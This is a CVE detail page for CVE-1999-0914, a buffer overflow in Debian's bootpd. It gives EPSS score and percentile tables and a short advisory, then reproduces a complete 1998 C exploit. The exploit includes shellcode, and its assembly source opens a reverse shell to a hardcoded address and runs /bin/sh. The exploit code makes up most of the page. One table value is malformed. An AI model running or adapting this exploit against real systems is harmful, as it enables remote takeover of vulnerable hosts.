CVE-1999-0914 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.96%	–	–
2022-03-13	–	–	1.96%	–	–
2022-04-03	–	–	1.96%	–	–
2022-07-31	–	–	1.96%	–	–
2023-02-26	–	–	1.96%	–	–
2023-03-12	–	–	–	0.05%	–
2024-02-11	–	–	–	0.05%	–
2024-03-31	–	–	–	0.05%	–
2024-06-02	–	–	–	0.05%	–
2024-06-30	–	–	–	0.05%	–
2024-11-10	–	–	–	0.05%	–
2025-01-19	–	–	–	0.05%	–
2025-01-19	–	–	–	0.05%	–
2025-03-18	–	–	–	–	0.41%
2025-03-30	–	–	–	–	0.41%
2025-04-06	–	–	–	–	0.41%
2025-04-15	–	–	–	–	0.41%
2025-04-15	–	–	–	–	0.41,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	56%
2022-03-13	57%
2022-04-03	77%
2022-07-31	78%
2023-02-26	79%
2023-03-12	19%
2024-02-11	11%
2024-03-31	12%
2024-06-02	13%
2024-06-30	14%
2024-11-10	15%
2025-01-19	16%
2025-01-19	16%
2025-03-18	59%
2025-03-30	58%
2025-04-06	59%
2025-04-15	6%
2025-04-15	6%

// source: https://www.securityfocus.com/bid/324/info The netstd package, included with the Debian GNU/Linux distribution is vulnerable to two buffer overflow attacks. The first is in the bootp server, the second in the FTP client. Bootpd version 2.4.3(and earlier) is prone to a number of buffer overflow conditions that may allow a remote attacker to fully compromise a host running a vulnerable version. This is due to improper bounds checking in the handling of the boot file/location specified in a bootp request packet, and in the error logging facility. This vulnerability is specific to the bootp daemon and any Unix distributions that ship with the affected version should be considered vulnerable. A buffer overflow condition also exists in the netstd FTP client, which may be exploited by a local attacker to potentially elevate privileges. /* * Bootpd Exploit against debian linux 1.3 and 2.0 and possibly other * * (C) 1998 Willem Pinckaers W.H.J.Pinckaers@cpedu.rug.nl * */ #include <netinet/in.h> #include <sys/socket.h> #include <sys/types.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include "bootp.h" char shellcode[] = "\x31" "\xc9" "\x89" "\xc8" "\x04" "\x66" "\x41" "\x89" "\xca" "\x89" "\xcb" "\xeb" "\x7f" "\x5f" "\x89" "\x4f" "\x08" "\x41" "\x89" "\x4f" "\x04" "\x80" "\xc1" "\x04" "\x89" "\x4f" "\x0c" "\x8d" "\x4f" "\x04" "\xcd" "\x80" "\x89" "\x07" "\x31" "\xc9" "\x80" "\xc1" "\x02" "\x66" "\x89" "\x4f" "\x0c" "\x66" "\x89" "\x4f" "\x0e" "\x80" "\xc1" "\x0e" "\x66" "\x89" "\x4f" "\x08" "\x66" "\xb9" "\x30" "\x39" "\x66" "\x89" "\x4f" "\x0e" "\x8d" "\x47" "\x0c" "\x89" "\x47" "\x04" "\x31" "\xc9" "\xb1" "\x03" "\x89" "\xca" "\x89" "\xcb" "\x89" "\xf9" "\x31" "\xc0" "\x04" "\x66" "\xcd" "\x80" "\x31" "\xc0" "\x89" "\xc1" "\x04" "\x3f" "\x89" "\xc2" "\x8b" "\x1f" "\xcd" "\x80" "\x89" "\xd0" "\x41" "\xcd" "\x80" "\x89" "\xd0" "\x41" "\xcd" "\x80" "\x31" "\xc0" "\x89" "\x47" "\x10" "\x88" "\x47" "\x1b" "\x8d" "\x47" "\x14" "\x89" "\x47" "\x0c" "\x31" "\xc0" "\x04" "\x0b" "\x8d" "\x5f" "\x14" "\x8d" "\x4f" "\x0c" "\x8d" "\x57" "\x10" "\xcd" "\x80" "\x31" "\xc0" "\x40" "\xcd" "\x80" "\xe8" "\x7c" "\xff" "\xff" "\xff" "\x2e" "\x41" "\x41" "\x41" "\x41" "\x41" "\x41" "\x41" "\x41" "\x41" "\x41" "\x41" "\x41" "\x41" "\x39" "\x30" "\xc0" "\xa8" "\x01" "\x01" "\x2f" "\x62" "\x69" "\x6e" "\x2f" "\x73" "\x68" "\x00"; #define SERVER_PORT 67 char client_addr[16] = "127.000.000.001"; char host_addr[16] = "127.000.000.001"; int realpath_adjust = 0; int exploit_length = 1200; struct sockaddr_in server_addr; void sendpacket(int, struct bootp *); void build_packet(struct bootp *, int, char**); void get_args(int, char**); void usage(void); int main(int argc, char *argv[]) { struct bootp* bp; int s; get_args(argc, argv); server_addr.sin_family = AF_INET; server_addr.sin_port = htons(SERVER_PORT); server_addr.sin_addr.s_addr = inet_addr(host_addr); if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { fprintf(stderr, "cannot create socket\n"); exit(1); } if ((bp = (struct bootp*) malloc(MAX_MSG_SIZE + 1000)) == NULL) { (void) fprintf(stderr, "Cannot malloc.\n"); exit(1); }; (void) memset(bp, 0, MAX_MSG_SIZE + 1000); /* ai exploit isn't secure */ build_packet(bp, argc, argv); sendpacket(s, bp); } void sendpacket(int s, struct bootp *bp) { if (sendto(s, (const void *) bp, MAX_MSG_SIZE, 0, (const struct sockaddr *) &server_addr, sizeof(struct sockaddr_in)) == -1) { fprintf(stderr, "sendpacket: sendto returned -1 ;(\n"); exit(1); } } void build_packet(struct bootp *bp, int argc, char *argv[]) { unsigned long start_realpath = 0xbffff684 + realpath_adjust; unsigned long addr_ret_addr = start_realpath + 8 + 0x488; unsigned long temp_addr, temp_addr2 = 0; int length_tftpdir = 1; // no ftpdir just a slash at the start.. int num_nops = 600; char *p; unsigned long *q; int i; bp->bp_op = BOOTREQUEST; bp->bp_xid = 58524; bp->bp_htype = HTYPE_ETHERNET; bp->bp_hlen = 6; bp->bp_ciaddr.s_addr = inet_addr(client_addr); printf("Using: client: %s\n", client_addr); printf("Using: server: %s\n", host_addr); printf("Addr of realpath: %x\n", start_realpath); p = bp->bp_file; /* Putting in nops */ for (i = 0; i < num_nops; i++) *p++ = 0x90; printf("Added: %d nops\n", num_nops); /* Putting in shellcode */ for(i = 0; i < strlen(shellcode); i++) *p++ = shellcode[i]; printf("%d bytes of shellcode added.\n", strlen(shellcode)); /* Aligning to make sure the ret_addr is placed correctly */ temp_addr = p - bp->bp_file + length_tftpdir + start_realpath; for(i = 0; i < (addr_ret_addr - temp_addr) % 4; i++) *p++ = 'a'; printf("%d bytes of alignment added.\n", (addr_ret_addr - temp_addr) %4); /* set return adress.. hopefully in exploit code.... */ temp_addr2 = start_realpath + length_tftpdir + (num_nops / 2); if (!(temp_addr2 & 0xff)) temp_addr2++; printf("Setting return addr to: %x \n", temp_addr2); q = (unsigned long *) p; do { *q++ = temp_addr2; p = (char *) q; } while ((p - bp->bp_file) < exploit_length); *p++ = '\0'; printf("Exploit length: %d", strlen(bp->bp_file)); } void get_args(int argc, char *argv[]) { int ch; while ((ch = getopt(argc, argv, "c:s:a:e:")) != EOF) { switch(ch) { case 'c': strcpy(client_addr, optarg); break; case 's': strcpy(host_addr, optarg); break; case 'a': realpath_adjust = atoi(optarg); break; case 'e': exploit_length = atoi(optarg); break; default: usage(); } } } void usage(void) { printf("bootpd exploit against debian linux 1.3 and 2.0 (probably others)\n"); printf("\nBy Willem Pinckaers (W.H.J.Pinckaers@cpedu.rug.nl) 1998\n"); printf("\nUsage:\n\tbootpd: -c client_addr -s server_addr -a offset\n"); exit(1); } --------- CUT HERE --------- --------- CUT HERE --------- /* * Exploit code, casts a shell to a remote host * (C) 1998 Willem Pinckaers (W.H.J.Pinckaers@cpedu.rug.nl */ void main() { __asm__(" xorl %ecx, %ecx movl %ecx, %eax addb $0x66, %al incl %ecx movl %ecx, %edx movl %ecx, %ebx jmp endc0de realstart: popl %edi movl %ecx,0x08(%edi) incl %ecx movl %ecx,0x04(%edi) addb $04,%cl movl %ecx,0x0c(%edi) leal 04(%edi), %ecx int $0x80 movl %eax, (%edi) xorl %ecx, %ecx addb $02, %cl movw %cx, 0xc(%edi) movw %cx, 0xe(%edi) addb $0x0e, %cl movw %cx, 0x8(%edi) movw $0x3930, %cx movw %cx, 0xe(%edi) leal 0x0c(%edi), %eax movl %eax, 0x04(%edi) xorl %ecx, %ecx movb $03, %cl movl %ecx, %edx movl %ecx, %ebx movl %edi, %ecx xorl %eax, %eax addb $0x66, %al int $0x080 // connect xorl %eax,%eax movl %eax, %ecx addb $0x3f, %al movl %eax, %edx movl (%edi), %ebx int $0x80 // dup2 movl %edx, %eax incl %ecx int $0x80 // dup2 movl %edx, %eax incl %ecx int $0x80 // dup2 xorl %eax, %eax movl %eax, 0x10(%edi) // pointer = NULL movb %al, 0x1b(%edi) // terminate /bin/sh leal 0x14(%edi), %eax // start van /bin/sh movl %eax, 0x0c(%edi) xorl %eax, %eax addb $0x0b, %al leal 0x14(%edi), %ebx leal 0x0c(%edi), %ecx leal 0x10(%edi), %edx int $0x80 // execve xorl %eax,%eax incl %eax int $0x80 endc0de: call realstart sockfd: .byte 0x2e, 'A', 'A', 'A' .byte 'A', 'A', 'A', 'A' .byte 'A', 'A', 'A', 'A' sockaddr: .byte 'A', 'A' // must contain 02 .byte 0x39, 0x30 // must contain port nr .byte 192, 168, 01, 01 // must contain ip .string \"/bin/sh\""); }